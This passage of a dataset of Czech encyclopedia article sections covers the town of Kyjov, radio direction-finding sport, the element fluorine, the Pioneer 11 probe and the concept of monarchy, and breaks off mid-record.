2 mandáty. Při volbách v roce 2002", "V roce 2017 žilo v Kyjově přes 11 300 obyvatel a bylo tak po Brně a okresních městech největším sídlem v Jihomoravském kraji. Kyjovské obyvatelstvo tvoří 7,4 % populace okresu a 1 % populace kraje. Průměrný věk činil 43,8 let. Dle sčítání lidu v roce 2011 v místní části Kyjov žilo 8 326 (72,6 %) obyvatel, v Nětčicích 1 807 (15,8 %), v Boršově 683 (6 %) a v Bohuslavicích 646 (5,6 %). Kyjovští Židé měli vlastní politickou obec, která byla 31. srpna 1919 sloučena s obcí Kyjov. Ve 40. letech 20. století z města zmizela početná židovská i německá menšina. S budováním průmyslu a městských sídlišť po druhé světové válce se do města postupně stěhovalo obyvatelstvo z okolního venkova. V roce 2011 bylo ve městě 2 300 domů, z toho 1 967 rodinných. Bytů bylo 5 059, z toho 4 470 obydlených. V posledních desetiletích počet obyvatel stále klesá. V roce 2011 se 5 431 (47,4 %) obyvatel Kyjova hlásilo k české národnosti, 2 708 (23,6 %) k moravské, 87 (0,8 %) ke slovenské, 16 (0,1 %) k vietnamské a 7 k ukrajinské. 2 689 obyvatel (23,5 %) svou národnost neuvedlo.", "V roce 2011 se 3 530 (30,8 %) obyvatel Kyjova označilo za věřící. 2 192 (19,1 %) obyvatel se hlásilo k římskokatolické církvi, dále zde bylo 60 (0,5 %) evangelíků, 40 (0,3 %) československých husitů, 32 (0,3 %) Svědků Jehovových, 0,1 % adventistů. 3 025 (26,4 %) obyvatel se označilo jako bez náboženské víry a 4 907 (42,8 %) na otázku víry neodpovědělo. Kyjov je sídlem kyjovského děkanátu, který patří do olomoucké arcidiecéze. V děkanátu je 12 farností a v roce 2017 byl děkanem kyjovský farář Vladimír Mrázek. Děkanský kostel Nanebevzetí Panny Marie a svatého Cyrila a Metoděje stojí na Masarykově náměstí. Mimo něj jsou ve městě ještě kaple sv. Josefa, sv. Josefa Kalasanského, sv. Rocha, kaple v Nětčicích, morový sloup na náměstí, sochy sv. Jana Nepomuckého a sv. Václava a několik křížů. Do kyjovské farnosti patří i sousední obce Sobůlky s kaplí Panny Marie Nejsvětějšího srdce a Bukovany s kaplí Jana Pavla II. Bohuslavice s kostelem sv. Filipa a Jakuba jsou samostatná farnost v rámci hodonínského děkanátu a brněnské diecéze. Farnost spravuje jako administrátor excurrendo", "Kulturní život ve městě se koncem 19. století odehrával hlavně v městských spolcích, které se členily na české a německé. Spolky se scházely především v hostincích – české v hotelu Michálek, od roku 1874 i na Občanské Záložně (dnes pošta). V roce 1871 vznikla v Kyjově tělocvičná jednota Sokol a po vybudování sokolovny v roce 1926 se divadelní představení, přednášky a další akce odehrávaly i tam. Němci podobně využívali hotel U černého orla (v roce 1919 přejmenován na Slavii). Záložna a sokolovna byly centrem kultury až do roku 1973, kdy byl na náměstí postaven Dům kultury.", "Významnou součástí kultury ve městě je folklór, reprezentovaný především národopisnou slavností Slovácký rok, která se poprvé konala v roce 1921 a od roku 1971 je pořádána každé čtyři roky. V ostatních letech probíhají v polovině srpna Kyjovské letní slavnosti spojené s dožínkami a mariánskou poutí. Vždy v listopadu jsou tradiční Martinské hody. Během roku se uskuteční několik dalších pravidelných folklorních akcí – fašank, Velikonoční beseda u cimbálu s koštem vín, stavění a kácení máje, Kateřinská zástěrková", "\"Vlastivědné muzeum Kyjov\" sídlí v budově zámečku z poloviny 16. století na Palackého ulici, nejstarší budově ve městě. Kromě častých tematických výstav má stálou archeologickou, etnografickou a přírodovědnou expozici. Ve sbírkách je přes 40 000 předmětů. Součástí muzea je i knihovna, jejímž základem byla někdejší knihovna kyjovského piaristického gymnázia. Dnes obsahuje přes 15 000 svazků, z toho téměř 1 400 starých tisků. Nejstarší tisky pochází z 15.–18. století. V roce 1904 byl pověřen profesor kyjovského gymnázia Jan Kučera uspořádáním městského archivu. Sbírka byla umístěna na městském úřadu, ale v roce 1911 vzhledem k jejímu růstu byla přemístěna do chudobince Dominika Jurovského (dnes Základní umělecká škola). Roku 1913 byl Jan Kučera jmenován správcem muzea i archivu. V", "Čtenářský spolek v Kyjově byl založen 8. prosince 1864 a roku 1881 otevřel vlastní knihovnu. Dne 28. srpna 1881 se také v hotelu Michálek hrálo ve městě první české divadelní představení, jehož výtěžek šel na podporu místního čtenářského spolku. Spolek nejdříve sídlil na náměstí v domě č. 11, po vybudování Záložny (dnes pošta) se přesunul sem. V roce 1956 se knihovna přestěhovala do přízemí bývalého hotelu Michálek (Komenského 49) a 2. září 1988 získala vlastní novou budovu na Komenského ulici.", "Jako první galerie ve městě vznikla v roce 1991 \"Galerie Doma\" ve Svatoborské ulici v rodinném domě manželů Ježových. Městským úřadem je od roku 2002 spravována \"Radniční galerie\" v přístavbě radnice. V bývalém mlýně v Bohuslavicích v roce 2006 vznikl prostor", "První kino ve městě s názvem \"Urania\" bylo v tehdejším hotelu Michálek, dnes naproti pošty, do kterého se vcházelo z Dobrovského ulice. (Později byl prostor využit pro loutkové divadlo.) V roce 1926 bylo přemístěno do nově postavené sokolovny a roku 1948 přejmenováno na \"Kino Svět\". 24. října 1931 zde byl poprvé promítán zvukový film – \"On a jeho sestra\" režiséra Martina Friče. Druhé kino bylo zřízeno v Lidovém domě, od roku 1948 nazývané \"Kino Oko\". V roce 1970 bylo rekonstruováno a zřízeno zde současné kino Panorama. V roce 1960 bylo vybudováno letní kino v sousedství městského parku s kapacitou 2 000 míst", "Na místě bývalé synagogy, v těsné blízkosti radnice, byl v roce 1973 postaven Kulturní dům. Otevřen byl 17. listopadu divadelní hrou Strakonický", "V Kyjově působí Kruh přátel hudby. Od roku 1996 se ve městě pravidelně koná mezinárodní hudební festival \"Concentus Moraviae\" a od stejného roku vždy v srpnu probíhá v letním kině \"Žalmanův folkový Kyjov\". Působí zde i dětský pěvecký sbor \"Modráčci\" (v roce 1981 založil učitel Eduard Cvrkal), country kapela", "V roce 2018 bylo ve městě 14 školských zařízení. Z těch je 9 příspěvkovými organizacemi města a 5 Jihomoravského kraje. Střední školy a", "", "Městem prochází železniční trať č. 340, zvaná také Vlárská dráha, z Brna do Uherského Hradiště. V roce 1882 získal baron Oscar Lazzarini koncesi na výstavbu železnice z Moravského Písku a Bzence do Kyjova. Trať byla uvedena do provozu 20. července 1884 a Kyjov tak byl spojen s tehdejší Severní dráhou císaře Ferdinanda. Železniční stanice této lokální dráhy byla vybudována v dnešní ulici Na Trávníkách. 10. října 1887 pak přijel první vlak po nově vybudované trati z Brna. Železniční trať obchází město po jeho západním a jižním okraji. Současná budova železniční stanice z roku 1887 byla v roce 2011 rekonstruována. Ve", "Autobusové spojení Kyjova s okolními obcemi postupně vznikalo za první republiky. Koncese na autobusovou dopravu udělovala městská rada. V roce 1927 se v kyjovské kronice udává spoj do Archlebova (2× denně), Hovoran, Ždánic, Osvětiman, Žeravic a Milotic. V roce 1928 přibylo spojení se Stupavou, Čeložnicemi,", "Kyjov leží na křižovatce silnic I/54, II/432 a II/422. V roce 1965 byl v Kyjově na silnici I/54 vybudován nadjezd přes železniční trať a tak podstatně zjednodušen průjezd městem. Od roku 1987 jezdí automobily po obchvatu", "U silnice mezi Kyjovem a Miloticemi, 3 km jižně od města, bylo", "Z města vedou tři cyklostezky. První z jižního okraje města do sousedních Skoronic je dlouhá 1 km. Druhá vede do Mutěnic přes Svatobořice-Mistřín a Dubňany po náspu bývalé železniční trati v délce (14 km). V říjnu 2014 byla otevřena cyklostezka podél železniční trati, která spojuje místní části Nětčice a Bohuslavice v délce přes 2 km. V roce 2018 pak byla cyklostezka prodloužena severně údolím Kyjovky přes Haluzice (rekreační oblast u Jestřabic) a Nemotice k Mouchnicím. Pro cyklisty tak vzniklo spojení z města do Chřibů a na četné lesní asfaltové cesty ve Ždánickém lese. V budoucnu se počítá s jejím napojením", "Historické jádro města je městskou památkovou zónou. Na Masarykově náměstí je 7 měšťanských domů chráněno jako kulturní památka. Jsou to domy č. 7, 9, 11, 13, 14, 16 a 33 a také budova římskokatolické fary na Palackého ulici.", "Městský park byl založen 400 m severovýchodně od centra města v letech 1872–1873. Roku 1899 zakoupil stavitel, zemský poslanec a místní mecenáš Václav Paterna (1839–1902) pozemky pro další rozšíření parku, k němuž došlo v roce 1924. Park se rozkládá na ploše asi 4,2 ha. Západní část je ohraničena řekou Kyjovkou a ze severu na park navazuje městské koupaliště a stadion. Stojí zde pomník Svatopluka Čecha z roku 1912 od místního kameníka a sochaře Rudolfa Petra (1887–1956), spolužáka Julia Pelikána z C. k. odborné školy sochařské a kamenické v Hořicích. Po Čechovi je pojmenována i ulice přiléhající k parku z jižní a východní strany. V prosinci 1949 byl u vstupu do parku postaven pomník Josifa Stalina při příležitosti jeho 70. narozenin. Pomník navrhl akademický sochař Julius Pelikán, který byl za 2. světové války vězněn v internačním táboře v sousedních Svatobořicích a", "V období první republiky bylo ve městě postaveno několik funkcionalistických vil, které byly v", "Od roku 1998 město Kyjov postupně uzavřelo smlouvu o partnerství a spolupráci se šesti partnerskými městy v Evropě:" ] }

{ "title": [ "Princip.", "Historie.", "Varianty.", "Průběh závodu.", "Současní reprezentanti České republiky (2015-16)." ], "section_level": [ "1", "1", "1", "1", "1" ], "content": [ "Závody jsou většinou dvoukolové. Jeden závod probíhá s vysílači/přijímači v pásmu vlnové délky 80m (KV - 3,5 MHz), druhý v pásmu 2m (VKV - 144 MHz). Pro každé pásmo je specifický jiný druh šíření a odrážení elektromagnetických vln, proto i rádiové přijímače a taktika zaměřování a vyhodnocování je jiná. V pásmu 80m (krátké vlny) se signál šíří téměř přímo, nedochází k tak razantním ohybům, odrazům a únikům signálu jako v pásmu 2m (velmi krátké vlny). Jednotlivé vysílače (kontroly) vysílají na jedné společné frekvenci v minutových intervalech a v pětiminutových cyklech svou identifikaci morseovou abecedou: Na základě zaměření z několika bodů (např. při vyhledávání kontroly č. 2 si závodník průběžně zaměřuje i kontroly č. 4 a č. 5) vyhodnocení síly signálu, mapových podkladů si závodník sám určí pořadí vyhledávání jednotlivých kontrol. Po vyhledání všech předepsaných kontrol závodník přeladí přijímač na speciální frekvenci, kde vysílá trvale bez přerušení tzv. maják znak MO (--/---) u kterého se nachází cíl závodu. Počet vyhledaných předepsaných kontrol a čas v cíli pak určuje konečné pořadí. Počet kontrol, který závodník vyhledává je určen zařazením do věkové kategorie a úrovní závodu. Na okresních přeborech je to většinou méně než na celorepublikových. To vždy určuje pořadatel soutěže na základe rozpětí daném pravidly. Kategorie:", "Počátek tohoto sportu sahá do dvacátých let minulého století, kdy se na Bodamském jezeře konaly závody plachetnic. Na cíl se plachetnice naváděly radiovým signálem. V ČR se rozšíření tohoto sportu dočkalo v 70. a 80. letech minulého století, především zásluhou organizace Svazarm, která chtěla do svých řad přitáhnout mladou generaci. Závody i pravidla se od současné podoby značně lišily. Vysílače vysílaly trvale každý na jiné frekvenci. Závodníci až na výjimky nepracovali s mapami a veškeré zaměřování prováděli pouze s přijímačem. Později se pro zvýšení nároků na závodníky rozdělilo vysílání do pětiminutových cyklů. Posléze došlo ke sjednocování s mezinárodními pravidly a vysílače začaly vysílat na jediné frekvenci po celou dobu závodu. Dříve se také pro označení nalezené kontroly do závodníkova průkazu používaly barevné fixy (pro každou kontrolu jiná barva) zavěšené na anténách vysílače, čímž závodník v cíli prokazoval, že dané kontroly opravdu našel. Později fixy nahradily razicí kleště (známé z klasického orientačního běhu) a nyní se používají bezkontaktní čipy.", "Pořádají se i speciální druhy soutěží, které rozšiřují možnosti základního principu soutěže. Například je možno použít více jak 5 vysílačů (vysílače vysílají na více frekvencích). Zajímavé jsou také závody, kdy vzdálenost mezi vysílači je tak velká, že je možno a doporučuje se použít dopravní prostředek (automobil, kolo, motorka). V Praze se pravidelně před Vánoci pořádá tzv. \"Praha liška\", kdy jsou vysílače rozmístěny po celé Praze a závodník může využit jakéhokoliv prostředku (včetně MHD). Častý je také tzv. handicap, kdy se startuje v pořadí a s odstupy, podle toho, jaké časy závodníci získali v závodě v předchozím pásmu. Do cíle tak dobíhají závodníci přesně v takovém pořadí, jaké je pak jejich konečné umístění. Tato variace se občas používá i v oficiálních mistrovských závodech.", "Vzorový průběh závodu v ROB, pásmo 3,5 MHz (80ka), klasická trať. Start: Závodník vystartuje na pokyn startéra/startovních hodin do startovního koridoru, začíná zaměřovat první kontrolu (obvykle kontrola číslo jedna) a snaží se v průběhu nasledujících minut dostat co nejdále z tzv. startovního kolečka, které značí pásmo bez kontrol, většinou pokračuje ve směru startovního koridoru, jelikož ten by ho měl navádět přibližně ve směru první kontroly. Někteří stavitelé ale startovní koridory záměrně směřují jinam (na blízký kopec kvůli rozměření kontrol, či jen do různých směrů pro rozptýlení závodníků do prostoru). Konec relace: Ke konci relace si závodník dělá na své mapě čáru ve směru záměru kontroly, tzv. zákres. Následně stejným způsobem měří a kreslí ostatní kontroly. Pořadí: Dle hlasitosti signálu, pozice a zákresů se závodník snaží rozmyslet si pořadí, v kterém bude kontroly vyhledávat. Běh na první kontrolu: Závodník se snaží co nejrychleji doběhnout na svou první (náběhovou) kontrolu, mimo její relaci pokračuje dle buzoly na rádiu. Při běhu neustále měří ostatní kontroly a dělá další zákresy- průsečíky zákresů ukazují předpokládané pozice kontrol. Kontrola: Při doběhu na kontrolu závodník svým značkovacím zařízením (papírová karta, čip Sportident) značí průběh kontrolou a pokračuje na ostatní kontroly. Maják: Po oražení poslední kontroly závodník přelaďuje rádiový příjmač na frekvenci majáku (cílové kontroly, která vysílá bez přerušení) a snaži se co nejrychleji doběhnout na maják. Jeho pozice je též uvedena v mapě. Cíl: Po oražení majáku závodník pokračuje cílovým koridorem do cíle, kde mu je zastaven čas (v případě čipu elektronicky) Vyčítání výsledků: V případě papírových karet pořadatel ručně spočítá čas a zkontroluje oražení, jinak jsou výsledky zpracovány elektronicky (programy typu Závody ROB, či OCM).", "\"D19\" Užší kádr Širší kádr \"D20\" Užší kádr Širší kádr \"M19\" Užší kádr Širší kádr \"M20\" Užší kádr Širší kádr Trenér české reprezentace: Andrej Gomzyk" ] }

{ "title": [ "Základní fyzikálně-chemické vlastnosti.", "Historický vývoj.", "Výskyt v přírodě.", "Výroba.", "Využití.", "Organické sloučeniny fluoru.", "Sloučeniny fluoru.", "Anorganické sloučeniny.", "Organické sloučeniny.", "Biologický význam.", "Zdravotní rizika." ], "section_level": [ "1", "1", "1", "1", "1", "2", "1", "2", "2", "1", "2" ], "content": [ "Fluor je plyn v silné vrstvě zelenožlutý s dráždivým zápachem, který připomíná chlorovodík. Fluor je extrémně jedovatý a toxický plyn, který leptá dokonce i sklo. Kapalný fluor má banánově žlutou barvu. Disociační enthalpie molekuly fluoru je velmi nízká a blíží se disociační enthalpii molekuly jodu, což se vysvětluje malou pevností vazby v molekule fluoru (menší překryv vazebných orbitalů), což může být způsobeno větším odpuzováním atomů fluoru vlivem velkého odpuzování volných elektronových párů. Ve svých sloučeninách má pouze oxidační číslo −1, velmi vzácně může mít fluor v některých komplexech oxidační číslo 0 a opravdu pouze formální oxidační číslo +1 má v kyselině fluorné, ve skutečnosti zde má oxidační číslo −1, jelikož má vyšší elektronegativitu než vodík i kyslík. Pro všechny halogeny obecně platí, že halogen s menším protonovým číslem (lehčí) je schopen vytěsnit halogen s větším protonovým číslem (těžší) z jeho halogenidu. Lehčí halogen přechází v halogenid a těžší halogen z halogenidu v halogen. Fluor vytváří převážně iontové sloučeniny s iontovou vazbou a pouze s některými sloučeninami vytváří kovalentní vazbu. Fluor je extrémně reaktivní plyn, který se ochotně až explozivně slučuje již za studena s vodíkem, bromem, jodem, sírou, fosforem, arsenem, antimonem, borem, křemíkem a s mnoha kovy. Některé kovy reagují s fluorem za normálních teplot nebo při mírném zahřátí jen na povrchu a vzniklý povlak brání další reakci – pasivace. Při silnějším zahřívání reakce pokračuje do hloubky a některé kovy, jako zinek, cín nebo hliník, dokonce vzplanou. Za červeného žáru působí fluor dokonce i na zlato a platinu. Působením fluoru na vodu vzniká fluorovodík a kyslík, který obsahuje také malé množství ozonu, za jistých podmínek však působením fluoru na vodu vzniká fluorovodík a kyselina fluorná. Kvůli své silné reaktivitě vytěsňuje fluor většinu anionů ze sloučenin a sám přechází v anion – sklo, které je chemickou podstatou oxidu křemičitého, reaguje s fluorem za vzniku fluoridu křemičitého a kyslíku. Jelikož je fluor extrémně reaktivní plyn, není jednoduché jej připravit ani dlouhodobě skladovat.", "Nejstarší známá doložená sloučenina fluoru je kazivec (fluorit) CaF, který popisuje Georgius Agricola roku 1529 jako tavidlo. Roku 1670 v Norimberku Heinrich Schwanhard zjistil, že působením silné kyseliny na kazivec se uvolňují kyselé páry, které leptají sklo – od této doby se fluorovodík využívá k uměleckému leptání skla. Roku 1678 popsal J. S. Elsholtz při zahřívání kazivce modrobílé světélkování a roku 1750 popisuje Johan Gottschalk Wallerius stejný jev – v roce 1852 George Gabriel Stokes navrhuje pro tento jev název fluorescence. Roku 1768 provedl Andreas Sigismund Marggraf první chemické pokusy s kazivcem. Roku 1802 našel D. P. Morichini fluoridy ve vápenatých fosíliích a v zubech a Jöns Jacob Berzelius v kostech. André-Marie Ampère navrhl 12. srpna 1812 název nového prvku, který je údajně součástí kazivce a kyseliny fluorovodíkové. Návrh byl \"le fluore\" (z latinského \"fleue\" – téci) a poslal jej Humphry Davymu, který ho roku 1813 přijal. Příprava fluoru se velmi dlouhou dobu nedařila, protože ihned po přípravě plyn zreagoval s vodou nebo se stěnami nádob. Poprvé se fluor podařilo připravit až 26. května 1886 Henrimu Moissanovi, který ho připravil elektrolýzou chlazeného roztoku kyselého fluoridu draselného KHF, rozpuštěného v bezvodém kapalném fluorovodíku v přístroji s platinovými a iridiovými elektrodami ve tvaru U, který byl těsně uzavřen zátkou z fluoridu vápenatého CaF. Vzniklý plyn reagoval s křemíkem za vzniku plamene. Příprava se podařila po 74 neúspěšných letech. Henri Moissan získal za objev fluoru a vynález elektrické pece roku 1906 (dva měsíce před svou smrtí) Nobelovu cenu. Roku 1900 vznikly první chemické manufaktury na výrobu kryolitu Na[AlF], který se používá jako tavidlo při výrobě hliníku. Roku 1928 Thomas Midgley, A. L. Henne a R. R. McNary připravili freon CClF, který je nehořlavý a netoxický plyn, který se začal používat v chladírenském průmyslu. V letech 1928–1930 připravili Otto Ruff a R. Keim interhalogenidy fluoru (sloučeniny fluoru s jinými halogenidy) a roku 1962 byla připravena poslední interhalogenidní sloučenina W. Mayaou – ClF. Roku 1938 připravil Roy J. Plunkett teflon. Roku 1971 byla poprvé připravena kyselina fluorná HOF ve vážitelném množství S. Rozenem.", "Fluor se v zemské kůře vyskytuje jako 13. nejrozšířenější prvek (na dvanáctém místě je mangan 1060 ppm a na čtrnáctém místě baryum 390 ppm). V zemské kůře je fluor přítomen v koncentraci 544 ppm (mg/kg). Voda oceánů obsahuje pouze přibližně 1 mg F/l, tento nízký obsah je způsoben tím, že většina fluoridů je ve vodě nerozpustná. Ani ve vesmíru není fluor příliš bohatě zastoupen. Předpokládá se, že na jeden atom fluoru připadá přes 30 milionů atomů vodíku. Na Zemi je fluor přítomen pouze ve formě sloučenin, a to v nepříliš velkém množství. K jeho nejvýznamnějším minerálům patří fluorit (neboli kazivec) CaF, kryolit Na[AlF] a fluoroapatit Ca(PO)(F, Cl). Kryolit patří k vzácným minerálům, který se ve velkém množství vyskytuje pouze v Řecku. Malé množství fluoru se vyskytuje v topazu AlSiO(OH, F), sellaitu MgF, villiaumitu NaF, bastnezitu (Ce, La)(CO)F, carobbiit KF, frankdicksonit BaF, griceit LiF, tveitit-(Y) CaYF a zavarickit BiOF.", "Výroba plynného fluoru je technicky značně obtížná a vzhledem k reaktivitě volného fluoru i poměrně riziková. Vzhledem k vysoké elektronové afinitě fluoru lze jeho výrobu uskutečnit pouze elektrolyticky. První výroba fluoru se zdařila roku 1886 Henrimu Moissanovi, který ho připravil elektrolýzou chlazeného roztoku hydrofluoridu draselného KHF, rozpuštěného v bezvodém kapalném fluorovodíku v přístroji s platinovými a iridiovými elektrodami ve tvaru U, který byl těsně uzavřen zátkou z fluoridu vápenatého CaF. Roku 1919 vypracoval Argo nový způsob výroby fluoru. Základem procesu je elektrolýza taveniny hydrofluoridu draselného KHF při 240 °C – 250 °C v elektricky vyhřívané měděné nádobě, která je zároveň katodou. Anoda je grafitová tyč obklopená diafragmou, která zabraňuje přístupu vodíku k anodě. Roku 1928 se při výrobě začal používat dihydrofluorid draselný KHF namísto hydrofluoridu draselného, čímž se snížila teplota taveniny, a měděná nádoba byla nahrazena hořčíkovou nebo z Monelova kovu. Roku 1936 zavedl L. A. Bigelow pro výrobu velmi čistého fluoru výrobu z hydrofluoridu draselného KHF při 250 °C v dobře utěsněné niklové nádobě za použití grafitových elektrod. Dnes se výroba fluoru provádí ve dvou typech elektrolyzérů. V prvním se elektrolýza provádí při teplotě 72 °C a elektrolyzuje se dihydrofluorid draselný KHF a v druhém se elektrolýza provádí při 240 °C a elektrolyzuje se hydrofluorid draselný. V obou typech se používají negrafitizovatelné kompaktní tyče z uhlíku, které tvoří anody, a oba typy mají plášť z měkké oceli, která je zároveň katodou. První typ má několik výhod – uvnitř komor je nižší tlak plynného fluorovodíku, který se při vyšší teplotě uvolňuje, elektrolyzér má sníženou možnost koroze a anody mají delší životnost. Plyny vycházející z elektrolyzéru se oddělují krátkou přepážkou nebo diafragmou. Laboratorní elektrolyzéry pracují proudu při 10–50 A a průmyslové elektrolyzéry při proudu 4 000–6 000 A a napětí 8–12 V. V praxi se používají elektrolyzéry o rozměrech 3*0,8*0,6 m, které obsahují až 1 t elektrolytu. Za 1 h provozu se vyrobí 3–4 kg fluoru a ve velkém průmyslovém podniku se vyrobí až 9 tun kapalného fluoru za den. Celková roční produkce fluoru je v USA a Kanadě přibližně 5 000 tun, ve Velké Británii se vyrobí ročně o něco méně fluoru a v České republice se fluor průmyslově nevyrábí, ale výrobny na menší množství existují. Obtížná není jen výroba fluoru, ale také následné uchování vyrobeného fluoru. Obvykle se používají kovové tlakové nádoby pokryté vrstvou teflonu, do kterých se vejde objem 2,27 tun kapalného fluoru. Často se však výroba koncipuje tak, aby byl vyrobený fluor co nejrychleji spotřebován přímo na místě výroby, např. při následné organické syntéze.", "Elementární fluor se používá jako surovina v chemickém průmyslu. V 50. letech 20. století se uvažovalo o využití kapalného fluoru nebo jeho směsi s kapalným kyslíkem jako okysličovadla v kapalinových raketových motorech vzhledem k vyššímu dosahovanému specifickému impulsu. Problémy s výrobou a skladováním, spolu s jeho nebezpečím pro obsluhu, vedly k tomu, že tato myšlenka byla brzy opuštěna. Přesto v tehdejším SSSR byly postaveny a vyzkoušeny prototypy motorů pracujících s touto pohonnou látkou. V dnešní době se pro raketové motory velmi intenzivně studují sloučeniny fluoru s kyslíkem a dusíkem. Fluor se dříve využíval k přípravě těžko dostupných fluoridů a dnes se využívá jako velmi účinné oxidační činidlo. Většího praktického uplatnění než čistý fluor dosahují jeho sloučeniny:", "Uhlovodíky, v nichž jsou atomy vodíku kompletně nahrazeny atomy halogenů, se vyznačují mimořádnou chemickou stabilitou a nejsou prakticky vůbec toxické. Výroba organických sloučenin fluoru se velmi rychle započala rozvíjet na začátku 20. století.", "Jelikož je fluor schopen tvořit své sloučeniny pouze v jediném oxidačním čísle F, je počet jeho anorganických sloučenin velmi omezen (jediné kladné oxidační číslo má fluor v kyselině fluorné, ale zde jde pouze o formální význam tohoto oxidačního čísla). V komplexních sloučeninách vystupuje fluor velmi často jako ligand, avšak jeho komplexy nejsou většinou nijak stabilní. Naproti tomu je fluor schopen tvořit velmi mnoho organických sloučenin.", "Fluor nevytváří mnoho anorganických sloučenin. Největší počet jeho sloučenin reprezentují fluoridy, ve kterých dosahují atomy kovů svých maximálních oxidačních čísel (fluoridy jsou popsány u jednotlivých prvků s nimiž fluor tvoří sloučeniny). Zvláštní skupinou fluoridů jsou interhalogenidové sloučeniny, což jsou sloučeniny halogenu s halogeny. Jelikož má fluor nejvyšší hodnotu elektronegativity vytváří také několik sloučenin s kyslíkem. Poslední ze sloučenin fluoru, avšak průmyslově nejdůležitější, jsou jeho dvě kyseliny – kyselina fluorovodíková HF a kyselina fluorná HOF.", "Organické sloučeniny fluoru se v přírodě téměř nevyskytují a jsou výsledkem chemické syntézy. Mezi nejznámější patří:", "Přestože fluor není klasickým biogenním prvkem, je známo, že jeho příjem je žádoucí především pro vývoj zdravých zubů a jejich ochranu před zubním kazem. Vznik fluorhydroxyapatitu (pentahydrát) vytváří pro agresivní prostředí dutiny prostředek, jak zabránit útoku organických kyselin na sklovinu (hydroxyapatit je po dekarboxylaci disociován s fluorem). Rozpustnost této sloučeniny je 1000krát nižší. Dále stimuluje fyziologické pochody (tvorba organických sloučenin v játrech a ledvinách, zprostředkuje vazbu fosforečnanu vápenatého ve tkáních). Některé zubní pasty proto mají záměrně zvýšený obsah sloučenin fluoru (fluorid sodný, fluorid cínatý, fluorofosforečnan sodný). Kromě toho se v některých zemích světa, zejména ve Spojených státech amerických, provádí umělé zvyšováni obsahu fluoru v pitné vodě (tzv. fluorování vody).", "Přípustné množství fluoru v zubních pastách je v EU 1500 ppm, při vyšších koncentracích roste riziko vzniku dentální fluorózy doprovázené hnědými skvrnami na zubech. Při jednorázovém požití pouhých 150 mg fluoridu sodného (NaF) může dojít k nevolnosti, zvracení, průjmu a akutní bolesti břicha, akutní otrava se léčí infuzí vápenatých iontů. Fluoridový anion je protoplasmatický jed, zasahující do funkce enzymů, neurotoxický a váže ionty vápníku." ] }

{ "title": [ "Konstrukce.", "Průběh letu.", "Jupiter.", "Saturn.", "Další let." ], "section_level": [ "1", "1", "2", "2", "2" ], "content": [ "Rotací stabilizovaná sonda nese přístroje pro měření magnetických polí, slunečního větru, kosmického záření a mikrometeoroidů a to: Většina přístrojů a elektronického vybavení sondy je umístěna v šesti skříních, tvořících trup sondy tvaru nízkého šestibokého hranolu. Na jeho horní podstavě je umístěna velká parabolická anténa o průměru 2,74 m sloužící ke spojení s pozemními stanicemi. Elektrickou energii dodávají čtyři radioizotopové generátory SNAP-19 s maximálním výkonem 155 W, zavěšenými po dvojicí na dvou výklopných ramenech. Pro dolaďování orientace a korekce dráhy je vybavena šesti malými raketovými motorky. Na boku jedné skříně s elektronikou je umístěna plaketa s poselstvím jiným civilizacím, kterou navrhl Carl Sagan.", "Brzy po startu z kosmodromu na Floridě dosáhla sonda díky přídavnému motoru na pevné palivo rychlosti 14,3 km/sec. Následovala tak konstrukčně identickou sondu Pioneer 10 po roce. První korekce dráhy byla provedena 11. dubna, druhá o dva měsíce později 5. června 1973 ve vzdálenosti 48 mil. km od Země. Dne 29. června 1973 překonala dráhu Marsu. Vzhledem k tomu, že její předchůdkyně, sonda Pioneer 10, prolétla radiačními pásy Jupiteru bez poškození a splnila všechny stanovené úkoly při pozorování Jupiteru a jeho měsíců, bylo počátkem roku rozhodnuto, zacílit sondu Pioneer 11 blíže k planetě a využít gravitačního manévru v jeho blízkosti k zacílení dalšího letu k planetě Saturn. Potřebná korekce dráhy se uskutečnila 19. dubna 1974.", "Pozorování planety Jupiter a jejího okolí bylo zahájeno 25. listopadu 1974, tedy rok po sondě Pioneer 10. K největšímu přiblížení k Jupiteru došlo 3. prosince 1974, kdy sonda proletěla ve výši pouhých 42 828 km nad hladinou mraků. Pozorování planety Jupiter a jejího okolí končilo 9. prosince 1974. Poté se sonda začala opět přibližovat ke Slunci a teprve při dalším obletu proletěla znovu drahou Jupiteru, který byl v té době na jiném místě. V září 1978 došlo k další korekci dráhy.", "Po čtyřapůlletém přeletu meziplanetárním prostorem dorazila sonda Pioneer 11 jako první lidskou rukou zhotovené těleso oblasti do Saturnu. Studium této planety a jejího okolí sonda zahájila 2. srpna 1979. Po riskantním, ale úspěšném průletu rovinou Saturnových prstenců 31. srpna 1979 (hrozilo potenciální nebezpečí srážky s částicemi těchto prstenců, které mohly sondu těžce poškodit) sonda téhož dne prolétla pericentrem saturnocentrické dráhy ve výši 21 400 km nad hladinou mraků. Sledování planety sonda ukončila 15. září 1979. Na Zemi poslala první snímky planety a jejích prstenců.", "Přiblížení k dalším planetám sluneční soustavy již nebylo možné. Sonda 23. února 1990 překročila dráhu planety Neptun, ale ta se nacházela na jiném místě své oběžné dráhy. Vzhledem ke slábnoucím energetickým zdrojům sondy s ní NASA ukončila pravidelné spojení 30. září 1995. Poslední slabé signály byly ještě zachyceny v listopadu téhož roku. V té době se Pioneer 11 nacházel za drahou Pluta a mířil ke hvězdě λ Aql vzdálené 125 světelných let v souhvězdí Orla. K ní by měla sonda dorazit asi za 4 miliony let." ] }

{ "title": [ "Historie.", "Charakteristika.", "Následnictví.", "Dědičná monarchie.", "Volená monarchie." ], "section_level": [ "1", "1", "1", "2", "2" ], "content": [ "Řecký výraz \"monarchia\" (μοναρχία) je klasický a byl použit Herodotem. Jedná se o složený výraz slov μόνος \"monos\" ‚jeden / sám‘ a ἀρχεῖν \"archein\" ‚vládnout / panovat‘. Pravzor monarchie, v nichž vládce svou legitimitu odvozuje od některého božstva, však můžeme vysledovat již ve starém Egyptě, kde faraon byl uctíván jako božstvo. Podobný způsob existoval také v císařském systému ve staré Číně, kde byl panovník mj. označován za „Syna nebes“ ( 天子 / tiānzi) a jeho úřad jako „Mandát Nebes“ (天命 / tchien-ming), který mu propůjčoval absolutní moc. Úloha římských císařů jako ochránců křesťanství byla spojena s germánským pojetím posvátnosti panovníka, což vedlo k doktríně božského práva panovníka ve středověku. Japonští císaři byli považováni za žijící bohy až do moderní doby (viz také teokracie). V řadě zemí byla monarchie zrušena v 20. století a staly se republikami v důsledku první a druhé světové války. Prosazování republiky je republikanismus, zatímco prosazování monarchie je monarchismus. V moderní době převládají monarchie spíše mezi malými státy. V některých historických státech existoval systém souběžného panování 2 či více panovníků, diarchie, duumvirát, triumvirát. Andorra je jediná konstituční diarchie.", 